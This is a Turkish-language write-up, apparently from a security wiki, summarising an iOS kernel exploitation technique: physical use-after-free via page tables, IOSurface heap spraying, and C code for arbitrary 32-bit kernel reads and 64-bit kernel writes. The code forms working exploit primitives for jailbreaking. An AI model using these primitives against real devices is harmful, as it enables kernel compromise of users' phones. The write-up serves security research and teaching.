iOS Exploiting

Fiziksel kullanımdan sonra serbest bırakma

Bu, https://alfiecg.uk/2024/09/24/Kernel-exploit.html adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi https://github.com/felix-pb/kfd adresinde bulunabilir.

XNU'da Bellek Yönetimi

iOS'taki kullanıcı süreçleri için sanaldan bellek adres alanı 0x0 ile 0x8000000000 arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, kernel sanal adresleri gerçek fiziksel adreslere çevirmek için sayfa tabloları kullanır.

iOS'taki Sayfa Tablolarının Seviyeleri

Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:

  1. L1 Sayfa Tablosu (Seviye 1):

  • Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.

  • 0x1000000000 bayt (veya 256 GB) sanal belleği kapsar.

  1. L2 Sayfa Tablosu (Seviye 2):

  • Buradaki bir giriş, özellikle 0x2000000 bayt (32 MB) olan daha küçük bir sanal bellek bölgesini temsil eder.

  • Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.

  1. L3 Sayfa Tablosu (Seviye 3):

  • Bu en ince seviyedir, burada her giriş tek bir 4 KB bellek sayfasını haritalar.

  • Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.

Sanal Belleği Fiziksel Belleğe Haritalama

  • Doğrudan Haritalama (Blok Haritalama):

  • Bir sayfa tablosundaki bazı girişler, bir aralıkta sanal adresleri kesintisiz bir fiziksel adres aralığına doğrudan haritalar (kısa yol gibi).

  • Çocuk Sayfa Tablosuna İşaretçi:

  • Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir çocuk sayfa tablosuna işaret edebilir.

Örnek: Sanal Bir Adresi Haritalama

Diyelim ki sanal adres 0x1000000000'a erişmeye çalışıyorsunuz:

  1. L1 Tablosu:

  • Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir L2 sayfa tablosuna işaretçi varsa, o L2 tablosuna gider.

  1. L2 Tablosu:

  • Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir L3 sayfa tablosuna işaret ediyorsa, oraya devam eder.

  1. L3 Tablosu:

  • Kernel, gerçek bellek sayfasının fiziksel adresine işaret eden son L3 girişini arar.

Adres Haritalama Örneği

Eğer fiziksel adres 0x800004000'ı L2 tablosunun ilk indeksine yazarsanız, o zaman:

  • 0x1000000000 ile 0x1002000000 arasındaki sanal adresler, 0x800004000 ile 0x802004000 arasındaki fiziksel adreslere haritalanır.

  • Bu, L2 seviyesinde bir blok haritalamadır.

Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:

  • 0x1000000000 -> 0x1002000000 sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır.

Fiziksel Kullanımdan Sonra Serbest Bırakma

Bir fiziksel kullanımdan sonra serbest bırakma (UAF) durumu, şu durumlarda meydana gelir:

  1. Bir süreç bazı belleği okunabilir ve yazılabilir olarak ayırır.

  2. Sayfa tabloları, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.

  3. Süreç belleği serbest bırakır (boşaltır).

  4. Ancak, bir hata nedeniyle, kernel haritalamayı kaldırmayı unutur ve ilgili fiziksel belleği serbest olarak işaretler.

  5. Kernel, bu "serbest bırakılmış" fiziksel belleği, kernel verileri gibi diğer amaçlar için yeniden tahsis edebilir.

  6. Haritalama kaldırılmadığı için, süreç hala bu fiziksel belleğe okuma ve yazma yapabilir.

Bu, sürecin kernel belleği sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın kernel belleğini manipüle etmesine olanak tanır.

Exploit Stratejisi: Heap Spray

Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, heap spray adı verilen bir teknik kullanır:

  1. Saldırgan, kernel belleğinde birçok IOSurface nesnesi oluşturur.

  2. Her IOSurface nesnesi, bir alanında büyülü bir değer içerir, bu da onu tanımlamayı kolaylaştırır.

  3. Serbest bırakılmış sayfaları tarar ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder.

  4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu kernel belleğini okumak ve yazmak için kullanabilirler.

Bununla ilgili daha fazla bilgi https://github.com/felix-pb/kfd/tree/main/writeups adresinde bulunmaktadır.

Adım Adım Heap Spray Süreci

  1. IOSurface Nesnelerini Spray Et: Saldırgan, özel bir tanımlayıcı ("büyülü değer") ile birçok IOSurface nesnesi oluşturur.

  2. Serbest Sayfaları Tara: Bu nesnelerin serbest bırakılmış bir sayfada tahsis edilip edilmediğini kontrol ederler.

  3. Kernel Belleğini Oku/Yaz: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde rastgele okuma ve yazma yapma yeteneği kazanırlar. Bu, onlara:

  • Bir alanı kullanarak kernel belleğindeki herhangi bir 32 bit değeri okumalarını sağlar.

  • Diğer bir alanı kullanarak 64 bit değerler yazmalarını sağlar ve böylece kararlı bir kernel okuma/yazma ilkesine ulaşırlar.

Büyülü değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için kullanın:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Serbest bırakılmış bir fiziksel sayfada IOSurface nesnelerini arayın:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Kernel Okuma/Yazma İşlemlerini IOSurface ile Gerçekleştirme

Kullanıcı alanından erişilebilen serbest bırakılmış fiziksel bir sayfaya eşlenen kernel belleğindeki bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra, bunu rastgele kernel okuma ve yazma işlemleri için kullanabiliriz.

IOSurface'daki Anahtar Alanlar

IOSurface nesnesinin iki kritik alanı vardır:

  1. Kullanım Sayısı İşaretçisi: 32-bit okuma sağlar.

  2. İndeksli Zaman Damgası İşaretçisi: 64-bit yazma sağlar.

Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz.

32-Bit Kernel Okuma

Okuma işlemi gerçekleştirmek için:

  1. kullanım sayısı işaretçisini hedef adrese 0x14 bayt ofset çıkararak yönlendirin.

  2. O adresteki değeri okumak için get_use_count yöntemini kullanın.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Bir yazma işlemi gerçekleştirmek için:

  1. İndekslenmiş zaman damgası işaretçisini hedef adrese yazın.

  2. 64-bit bir değer yazmak için set_indexed_timestamp yöntemini kullanın.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Akışı Özeti

  1. Fiziksel Kullanımdan Sonra Serbest Bırakmayı Tetikle: Serbest sayfalar yeniden kullanım için mevcuttur.

  2. IOSurface Nesnelerini Spray Et: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayır.

  3. Erişilebilir IOSurface'ı Belirle: Kontrol ettiğin serbest bir sayfada bir IOSurface bul.

  4. Kullanımdan Sonra Serbest Bırakmayı Kötüye Kullan: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi kernel okuma/yazma sağla.

Bu ilkelere sahip olarak, exploit kontrol edilen 32-bit okumalar ve 64-bit yazmalar sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).

Last updated